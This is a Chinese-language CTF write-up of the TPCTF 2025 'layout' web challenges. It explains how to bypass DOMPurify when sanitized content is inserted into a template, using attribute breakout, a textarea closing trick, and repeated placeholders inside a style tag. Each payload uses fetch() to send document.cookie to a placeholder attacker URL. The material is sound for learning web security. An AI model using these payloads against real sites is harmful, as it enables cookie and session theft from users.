ctf-web: xss 任意位置插入情况绕过 DOMPurify -- tpctf layout

参考

https://ouuan.moe/post/2025/03/tpctf-2025

baby layout

题目会将 {``{cont}} 将被替换为有效负载,我们可以使用

html 复制代码
<img src="{{content}}">
html 复制代码
" onerror="fetch('{YOUR_URL}'+document.cookie)

拼接后是这样的

html 复制代码
<div>
      <img src="" onerror="fetch('{YOUR_URL}'+document.cookie)">
</div>

或者创造意外的闭合,因为</textarea>优先级大于"

html 复制代码
<textarea>{{content}}</textarea>
html 复制代码
<div id="</textarea><img src=x onerror=fetch('{YOUR_URL}'+document.cookie)>"></div>

拼接后是这样的

html 复制代码
<div>
	<textarea><div id="</textarea>
	<img src="x" onerror="fetch('{YOUR_URL}'+document.cookie)">">
</div>

或使用 data-x(safe layout非预期)

html 复制代码
<div data-x="{{content}}"></div>
html 复制代码
some_data" onerror="fetch('{YOUR_URL}'+document.cookie)

safe layout revenge

tips: 你可以使用 https://yeswehack.github.io/Dom-Explorer/ 来查看DOMPurify过滤后的内容

js 复制代码
// 创建文章接口,接收内容和布局ID,生成文章并保存  
app.post('/api/post', (req, res) => {  
  const { content, layoutId } = req.body; // 解构请求体中的内容和布局ID  
  if (typeof content !== 'string' || typeof layoutId !== 'number') {  
    return res.status(400).send('Invalid params'); // 参数类型检查  
  }  
  if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long'); // 检查内容长度是否超过限制  
  const layout = req.session.layouts[layoutId]; // 获取指定ID的布局  
  if (layout === undefined) return res.status(400).send('Layout not found'); // 布局ID无效  
  
  // 使用DOMPurify清理内容,去除不允许的HTML标签  
  const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] });  
  
  // 将内容插入布局中  
  const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);  
  if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long'); // 检查生成的文章长度是否超过限制  
  
  // 生成文章ID并保存到Map中  
  const id = randomBytes(16).toString('hex');  
  posts.set(id, body);  
  req.session.posts.push(id); // 将文章ID添加到session中  
  console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);  
  
  return res.json({ id }); // 返回文章ID  
});

注意正则表达式中存在/g,这意味这我们可以在模板中防止多个{``{content}},他们都会被替换

http 复制代码
a<style>{{content}}<{{content}}</style>
复制代码
img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style>

有效负载

html 复制代码
a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style><img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style></style>

会变成

html 复制代码
<div>
      a<style>img src onerror=fetch(`{YOUR_URL}/`+document.cookie)
      <style></style>
      <img src="" onerror="fetch(`{YOUR_URL}/`+document.cookie)" <style="">
    </div>
相关推荐
f0rev3r8 小时前
NewStarCTF2025-WEEK2
网络安全
缘友一世8 小时前
深入理解Shell与反弹Shell:从原理到实战
linux·网络安全·shell
Whoami!9 小时前
⸢ 捌-Ⅰ⸥⤳ 可信纵深防御应用实践:0Day漏洞 & 钓鱼攻击
网络安全·信息安全·纵深防御·案例实践
white-persist10 小时前
CSRF 漏洞全解析:从原理到实战
网络·python·安全·web安全·网络安全·系统安全·csrf
北京耐用通信13 小时前
电力自动化新突破:Modbus如何变身Profinet?智能仪表连接的终极解决方案
人工智能·物联网·网络安全·自动化·信息与通信
汤愈韬13 小时前
NTFS权限基础、权限累加规则、权限继承规则
windows·网络安全
lingggggaaaa16 小时前
小迪安全v2023学习笔记(一百三十四讲)—— Windows权限提升篇&数据库篇&MySQL&MSSQL&Oracle&自动化项目
java·数据库·windows·笔记·学习·安全·网络安全
Bruce_Liuxiaowei20 小时前
Win7虚拟机加入域错误排查指南:解决无法启动服务问题
运维·网络·windows·安全·网络安全
mjhcsp1 天前
博客安全攻防演练:从实战视角构建全方位防护体系
网络安全·博客
2401_865382501 天前
工信部发布→《云计算综合标准化体系建设指南(2025版)》
网络安全·云计算·信息安全技术